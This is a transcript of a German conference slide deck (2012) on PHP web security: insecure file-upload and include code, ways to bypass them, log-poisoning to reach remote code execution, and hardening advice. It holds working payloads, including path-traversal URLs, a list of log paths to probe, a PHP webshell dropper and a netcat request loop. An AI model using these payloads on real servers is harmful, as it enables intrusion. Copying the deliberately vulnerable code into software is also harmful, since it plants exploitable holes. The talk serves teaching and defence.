Why websecurity sucks

57
Alexander Fend (2012) WHY WEBBASED SECURITY SUCKS

description

Referent: Alexander Fend Vortrag beim LinuxDay 2012 in Dornbirn. In der heutigen Zeit entscheiden Sicherheitsthematiken mehr denn je über den Ruf von Firmen, Institutionen oder Privatanwender. Sony, Google, Microsoft - alles namhafte Hersteller und dennoch Opfer von einfachsten Angriffen wie SQL Injection, Social Engineering oder Cross Site Scripting. Der Vortrag wird grundlegende Informationen über Websicherheit geben, sowie die Theorie des „sicheren Programmierens“ ansprechen. Eine kurze Demonstration rundet den einstündigen Vortrag dann ab.

Transcript of Why websecurity sucks

Page 1: Why websecurity sucks

Alexander Fend (2012)

WHY WEBBASED SECURITY SUCKS

Page 2: Why websecurity sucks

AGENDA

• Vorstellung

• File Uploads

• Implementation 1 – 5

• Angriffe 1-5

• Local File Inclusion

• LFI 2 RCE

• Tricky Angriffe

• Common security errors

• Best practice & Lösungen

Page 3: Why websecurity sucks

VORSTELLUNG

Alexander Fend

2008: Matura in Wirtschaftsinformatik HTL - Dornbirn

Bis Anfang 2011: IT Administrator ÖAMTC Vorarlberg

Bis Dato: IT Administrator & Security Advisor

Volksbank AG Liechtenstein

Seit über 7 Jahre im IT Security Umfeld, mit Fokus auf: Rootkits für Linux und Android Webanwendungen / Schwachstellenanalyse Externer Berater in Sicherheitsfragen [email protected]

Page 4: Why websecurity sucks

FILE UPLOADS (1)

Uploadimplementationen sind weit verbreitet

Implementationen sind relativ verschieden

Schwachstellen in Uploadfunktionen resultiert meistens in Serverzugriffen / ausführbarer Code

Effektivität zur Ausnutzung der Schwachstelle hängt von einigen Parametern ab

Relativ viele Optionen und Einstellungen in Konfigurationsdateien sowie im Code selbst

Schwachstelle kann die Übernahme einer ganzen Applikation/Server bedeuten (Rechteverwaltung)

Page 5: Why websecurity sucks

FILE UPLOADS (2)

Ablauf Upload:

Anwender

Datei Upload

Webanwendung

Speicherung auf

Dateisystem

Zugriff auf Datei

Page 6: Why websecurity sucks

IMPLEMENTATION (1)

1. <?php 2. $uploaddir = 'tmp/';

3. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

4. if (move_uploaded_file($_FILES['userfile']['tmp_name'],

$uploadfile)) 5. echo "Datei ist in Ordnung. Upload erledigt."; 6. else 7. echo "Fehler beim Upload"; 8. ?>

Page 7: Why websecurity sucks

ANGRIFF (1)

Es erfolgt keine Filterung der Dateitypen

Es können beliebige Dateien hochgeladen werden (html, php, py, js, …)

Einziges Hindernis: Pfad der Datei ist nicht ersichtlich

In der Regel kein Hindernis, da:

Path Disclosure oft möglich Downloadlink eventuell direkt auf die Datei «Uploadverzeichnis» durch probieren Wenn Applikation verfügbar, lokale Installation und

Auswertung der Standardparameter und Pfade möglich

Page 8: Why websecurity sucks

IMPLEMENTATION (2)

1. <?php 2. $uploaddir = 'tmp/';

3. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

4. if (move_uploaded_file($_FILES['userfile']['tmp_name'],

$uploadfile)) 5. echo "Datei: ".$uploadfile." ist in Ordnung. Upload

erledigt."; 6. else 7. echo "Fehler beim Upload"; 8. ?>

Page 9: Why websecurity sucks

ANGRIFF (2)

Wichtig! Eventuelles 0-day!

In den wenigsten Fällen wird der Dateienamen gegen XSS gefiltert (i.d.R. durch htmlentities() strip_tags())

Weil, auf Windows:

XSS im Dateinamen also nicht möglich.

Page 10: Why websecurity sucks

ANGRIFF (2)

Aber auf Linux:

Grossteil der Webserver laufen auf Linux !

Eventuelle XSS Schwachstellen in sämtlichen (grossen / produktiven) Applikationen, welche den Dateinamen nicht filtern

Auf Windows eventuell Runtime Exception ? [testen]

Page 11: Why websecurity sucks

IMPLEMENTATION (3)

$fname = $_FILES['datei']['name']; // filename is like = filename.extension $position = strrpos($fname, "."); $result = substr($fname, $position, strlen($fname)-$position); // normal usage here is a blacklist. if (strtolower($result) != ".php") move_uploaded_file($_FILES['datei']['tmp_name'], "_tmp/".$_FILES['datei']['name']); else echo "Diese Dateiendung ist nicht erlaubt";

Page 12: Why websecurity sucks

ANGRIFF (3)

Blacklist niemals sicher Viele verschiedene Möglichkeiten py, html, html5, js, php, php5, …

Achtung!

Ein .php Script welches in .jpg umbenannt wird, wird als Datei akzeptiert

Eventuelle Probleme! [dazu später mehr]

Page 13: Why websecurity sucks

IMPLEMENTATION (4)

if($_FILES['userfile']['type'] != "image/gif") { echo "Sorry, we only allow uploading GIF images"; exit; } // other code to upload/save image // …

Page 14: Why websecurity sucks

ANGRIFF (4)

Upload von shell.php Fehler: da MIME Typ nicht image/gif

Aber: Angreifer kann eigenen MIME Typ setzen Einfaches Perl Script: $rs = $a->request(POST 'http://localhost/upload.php', Content_Type => 'form-data', Content => [userfile => ["shell.php", "shell.php", "Content-Type" => "image/gif"],],);

Page 15: Why websecurity sucks

IMPLEMENTATION (5)

1. <?php 2. $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 3. if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') 4. { 5. echo „Only .gif & .jpg allowed\n"; 6. exit; 7. } 8. $uploaddir = '_tmp/'; 9. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 10. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) 11. echo „Upload ok.\n"; 12. else 13. echo "File uploading error.\n"; 14. ?>

Page 16: Why websecurity sucks

ANGRIFF (5)

Mit einem Bildbearbeitungsprogramm (z.B. Gimp) eine GIF Datei erstellen

In den GIF-Kommentar wird PHP Code eingebettet

Page 17: Why websecurity sucks

ANGRIFF (5)

userfile => ["avatar.gif", "avatar.php", "Content-Type" =>"image/gif"],],);

Perl Script lädt die Datei (avatar.gif) nun als avatar.php auf den Server

Dies funktioniert, da die Datei eine valide GIF Datei ist

Filterungen auf die Dateieendung würden hier dem Angreifer einen Strich durch die Rechnung machen

Page 18: Why websecurity sucks

ANGRIFF (5)

Direktes Aufrufen der Datei, lässt den Interpreter den PHP Code ausführen

Page 19: Why websecurity sucks

IMPLEMENTATION (6)

<?php $blist = array(".php", ".phtml", ".php3", ".php4"); foreach ($blist as $item) if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) { echo "PHP Dateien sind nicht erlaubt!"; exit; } ?>

Page 20: Why websecurity sucks

ANGRIFF (6)

Wie schon erwähnt, Blacklists sind niemals perfekt

Eventuell Ansatz einer Whitelist in Betracht ziehen

Dateien mit den Endungen in der Blacklist können nicht hochgeladen werden

Aber: GIF Bilder mit eingebettetem PHP Code sind immer noch

möglich Browser führt diesen Code allerdings natürlich nicht aus

Page 21: Why websecurity sucks

ANGRIFF (6)

Browser zeigt lediglich das Bild an

Page 22: Why websecurity sucks

ANGRIFF (6)

Aber: Einstellung: Server-Konfiguration welche Dateien zu einem PHP

Interpreter gesendet werden Oft werden jpg/gif Bilder durch den Interpreter gejagt, wenn

Bilder via PHP zur Laufzeit generiert werden Auch andere Dateitypen betroffen

Und: Entwickler haben oft keinen Server-Zugriff Keine Chance zu bestimmen ob sich Einstellungen in Zukunft

ändern Schlummernde Gefahr!

Page 23: Why websecurity sucks

LOCAL FILE INCLUSION

Einbinden von Dateien auf dem Server

PHP Code in Textdateien

Textdateien «rutschen» oft durch die Dateifilter

Direktes ausführen von PHP Code möglich

Resultiert in direktem Serverzugriff

Page 24: Why websecurity sucks

IMPLEMENTATION (1)

<?php $path = $_GET[‘path’]; include($path); ?>

$path wird ungefiltert von der URL übernommen

Ohne Überprüfung eingebunden

Übergabewert ist frei veränderbar und kontrollierbar

Page 25: Why websecurity sucks

ANGRIFF (1)

http://vuln-host.at/vul.php?path=../../../../../etc/passwd Wenn LFI, dann wird /etc/passwd includiert (eventuell Anzahl von

../ erhöhen)

Beliebige Dateien können inkludiert werden

Restriktionen lediglich: Durch Webserver Konfiguration Berechtigungen der einzelnen Dateien Kenntnis des Pfads

Page 26: Why websecurity sucks

IMPLEMENTATION (2)

<?php $path = $_GET[‘path’]; include($path.’.php’); ?>

$path wird ungefiltert von der URL übernommen

Wird allerdings mit der Endung .php inkludiert

Übergabewert ist frei veränderbar und kontrollierbar

Page 28: Why websecurity sucks

LFI 2 RCE (1)

Apache

error_log

access_log

http://vuln-host.at/<?php phpinfo(); ?> User-Agent-Switcher: <?php phpinfo(); ?>

Page 29: Why websecurity sucks

LFI 2 RCE (2)

http://vuln-host.at/vul.php?path=../../../../../../../../var/www/log/ access_log Access logs includieren

Eingeschleuster PHP Code wird ausgeführt

Remote Command Execution

Page 30: Why websecurity sucks

LFI 2 RCE (3)

access_log / error_log ausfindig machen Mit einer Liste:

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_ log

../../../../../../../usr/local/apache/logs/access. log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_l og

../../../../../../../usr/local/apache/logs/error.l og

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache/error.log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log

Page 31: Why websecurity sucks

LFI 2 RCE (4)

access_log / error_log ausfindig machen /proc/self/environ

Enthält Pfad zu den Logdateien

phpinfo.php phpinfo() Datei oftmals auf diversen Servern Enthält ebenfalls Pfad zu den Logdateien

/proc/self/fd/0..1..2..3..

File Descriptor Offen auf die Logdateien Try and Catch

Page 32: Why websecurity sucks

LFI 2 RCE (WEITERE MÖGLICHKEITEN)

.htaccess

Username = <?php phpinfo(); ?> Fehler -> landet in den error_logs

SSH Zugriff

Username = <?php phpinfo(); ?> Fehler -> landet in /var/log/auth.log Via LFI inkludieren

Mail

Mail mit <?php phpinfo(); ?> Wird oft in den Logfiles mitgeschnitten Schwierig zu inkludieren, da:

Mailprogramm unbekannt Eventuell Berechtigungen für das Logfile zu restriktiv

Page 33: Why websecurity sucks

LFI 2 RCE (WEITERE MÖGLICHKEITEN)

Angriff über Bilder

Beliebt in Foren (Avatare, etc.) Bild bearbeiten EXIF Daten abändern mit <?php phpinfo(); ?> Bild hochladen Bild via LFI inkludieren PHP Code wird ausgeführt

Page 34: Why websecurity sucks

LFI 2 RCE (WEITERE MÖGLICHKEITEN)

Genügend Möglichkeiten

Selbst überlegen & durchprobieren Andere Services, Logfiles, etc.

Interessante Idee: Als DNS Name: <?php phpinfo(); ?> Inkludieren von: /var/log/wtmp

Leider nicht machbar, da:

DNS Name nicht valide Keine <, >, ?, (, ) möglich Eventuell weitere Ideen / Möglichkeiten?

Page 35: Why websecurity sucks

LFI 2 RCE (INTERESSANTE DATEIEN)

Interessante Dateien für LFI /proc/cmdline

Kommandozeile mit dem der Kernel gestartet wurde /proc/filesystems

Unterstütze Dateisysteme auf dem Server /proc/partitions

Unterteilungen der Festplatte

Page 36: Why websecurity sucks

LFI 2 RCE (INTERESSANTE DATEIEN)

Interessante Dateien für LFI /proc/ioports

Ein – Ausgabe Kommunikationen vom Server /proc/meminfo

Informationen bezüglich dem Arbeitsspeicher

Page 37: Why websecurity sucks

LFI 2 RCE (INTERESSANTE DATEIEN)

Interessante Dateien für LFI /proc/modules

Geladene Module im Kernel /proc/version

Kernel Version und weitere Informationen

Page 38: Why websecurity sucks

LFI 2 RCE (INTERESSANTE DATEIEN)

Interessante Dateien für LFI /proc/version

2.6.32-30-server -> config File falls vorhanden:

/boot/config-2.6.32-30-server

Konfigurationsparameter für den kompilierten Kernel

/boot/abi-2.6.32-30-server Exportierte Funktionen vom Kernel für Module

/boot/System.map-2.6.32-30-server Symbol Tabelle für Adressen Z.B. auch für Rootkits interessant -> sys_call_table

Page 39: Why websecurity sucks

TRICKY ANGRIFFE (1)

Timing attacks File Upload & LFI Theorie

Datei Upload in PHP Temp Datei wird upload_tmp_dir(%tmp%) erstellt Datei wird dann beschrieben & Zielpfad kopiert Zeitfenster für Inkludieren, falls Pfad bekannt

Methode nur auf Windows möglich.

Weiteres Problem: Dateiname zufällig Inkludieren möglich ?

Page 40: Why websecurity sucks

TRICKY ANGRIFFE (2)

Timing attacks File Uploads & LFI

Datei trifft ein

PHP analysiert Datei

tmp Datei wird erstellt

und mit Daten beschrieben

Script wird ausgeführt

(Datei an Zielpfad kopiert)

Script entfernt tmp Datei

Zeitfenster

Page 41: Why websecurity sucks

TRICKY ANGRIFFE (3)

Probleme auf Windows:

Zufallsname für tmp Datei wird erstellt über: GetTempFileName()

http://vuln-site.at/l.php?path=C:\Windows\temp\php<<

The GetTempFileName function creates a temporary file name of the following form:

<path>\<pre><uuuu>.TMP

<path> = upload_tmp_dir = standardmässig C:\Windows\Temp

<pre> = php

<uuuu> = Hexadecimal value uf uUnique

uUnique = argument of GetTempFileName & set to 0 in case of PHP

-> 0 = id for usage of current sytem time

Bruteforce realistisch, aber nicht nötig, da:

Möglichkeit für Tags: <<

Page 42: Why websecurity sucks

TRICKY ANGRIFFE (4)

Nachweis der tmp Datei

Page 43: Why websecurity sucks

TRICKY ANGRIFFE (5)

Schritt 1 <> Datei mit PHP Code für Upload erstellen:

1. <?php 2. $h = fopen('C:\Windows\Temp\shell.php', 'w'); 3. fWrite($h, '<?php exec($_GET[\'cmd\']); ?>'); 4. fclose($h); 5. ?>

Page 44: Why websecurity sucks

TRICKY ANGRIFFE (6)

Schritt 2 <> Script für http call:

1. #!/bin/bash 2. while true; 3. do echo -e "POST /test/lfi.php?path=C:/Windows/Temp/php<<

HTTP/1.0\n" | nc hostname 80; 4. done

Page 45: Why websecurity sucks

TRICKY ANGRIFFE (7)

Schritt 3 <> Action:

Page 46: Why websecurity sucks

COMMON SECURITY ERRORS

> REGISTER_GLOBALS

Register_Globals

Empfohlen: register_globals = off

<?php

if ($user)

$flag_login = 1;

if ($flag_login = 1)

fpassthru("/data/hidden.php");

?>

http://page.at/login?flag_login=1

Page 47: Why websecurity sucks

COMMON SECURITY ERRORS

> DISPALY_ERRORS

display_errors

Empfohlen: display_errors = off

Gibt einem Angreifer sonst wertvolle Informationen

Funktionen

Dateinamen

Strukturen

Pfade

Page 48: Why websecurity sucks

COMMON SECURITY ERRORS

> DATABASE CONNECTION

Database connection

Normalerweise in Skripten wie: connect.php connect.inc

Problem:

Namen sind oft leicht zu finden .inc Dateien können durch den Browser normal gelesen werden .php Dateien könnten unter Umständen auch gelesen werden ->

PHP Parser ist inaktiv

Page 49: Why websecurity sucks

COMMON SECURITY ERRORS

> REGISTER_GLOBALS

File Upload Problematik

.

Page 50: Why websecurity sucks

BEST PRACTICE & LÖSUNGEN (1)

File Upload Problematik

.htaccess Dateien für Regulationen auf Verzeichnisse

Random Funktionen für den Dateinamen (eventuell auch Hashverfahren) mit ID in DB

Verzeichnisse ausserhalb vom Webverzeichnis verwenden

Dateieendungen generell auf .xyz abändern & Endung als Referenz in DB

Logdateien überwachen

Page 51: Why websecurity sucks

BEST PRACTICE & LÖSUNGEN (2)

File Upload Problematik Mehrere Filtermöglichkeiten verwenden (Kombination aus)

getimagesize() Filter auf die Dateiendungen (last ending) Whitelist führen MIME Typ ebenfalls Plausibilisierungen im Code

Page 52: Why websecurity sucks

BEST PRACTICE & LÖSUNGEN (3)

Local File Inclusion Problematik

Code sicher gestalten

Übergabewerte filtern und plausibilisieren

Logverzeichnisse überwachen Auch automatisch mit diversen Scripten

Korrekte Einstellungen in der Webserver Config

httpd.conf – Dateizugriff auf FS blockieren Nur Zugriff auf vereinzelte Ordner ermöglichen

Null Bytes aus übergebenen Werten entfernen

Page 53: Why websecurity sucks

BEST PRACTICE & LÖSUNGEN (4)

Einstellungen php.ini allow_url_fopen = off

Erschwert es einem Angreifer Code aus dem Netz zu laden Eventuell Probleme mit Newsfeeds etc.

allow_url_include = off

Ähnlich wie allow_url_fopen Allerdings werden Dateien inkludiert (include, require)

display_errors = off

Information leakage disable_functions

Blacklist für system(), exec(), shell_exec() ... Nur Zugriff auf vereinzelte Ordner ermöglichen

Page 54: Why websecurity sucks

BEST PRACTICE & LÖSUNGEN (4)

Einstellungen php.ini open_basedir = /pfad/zu/den/www/htdocs

Scripte können aus diesem Pfad nicht «ausbrechen»

register_globals = off Wenn on, können globale Variablen von aussen manipuliert werden.

safe_mode = on

Weitere Sicherheitsbarriere PHP 5.3 – deprecated PHP 5.4 – E_CORE_ERROR

disable_functions

Blacklist für system(), exec(), shell_exec() ... Nur Zugriff auf vereinzelte Ordner ermöglichen

Page 55: Why websecurity sucks

BEST PRACTICE & LÖSUNGEN (5)

Einstellungen httpd.conf ServerSignature Off (404, dir Listings, etc.) ServerTokens Prod (Apache Header)

Ausgegebene Informationen werden reduziert

User account & group User: apache Group: apache Oft als nobody.nobody -> Problem falls z.B. Mail Server auch unter diesen Rechten läuft.

CGI deaktivieren (falls nicht benötigt)

Options –ExecCGI / None Unnötige Module deaktivieren

Grep LoadModule httpd.conf

Page 56: Why websecurity sucks

BEST PRACTICE & LÖSUNGEN (6)

Einstellungen global Apache in chroot Umgebung betreiben

mod security installieren

www.modsecurity.org

Suhosin Patch Teil 1: Patch gegen den PHP Core Teil

Schutz vor BO, Format String, etc. Teil 2: Patch gegen SQL Injection, RFI, LFI, etc.

Berechtigung auf Verzeichnisse korrekt setzen

chown apache.apache chmod

Page 57: Why websecurity sucks

ENDE

Alexander Fend [email protected] www.securityinside.org

Quellen:

<> RFC1867

<> Gynvael Coldwind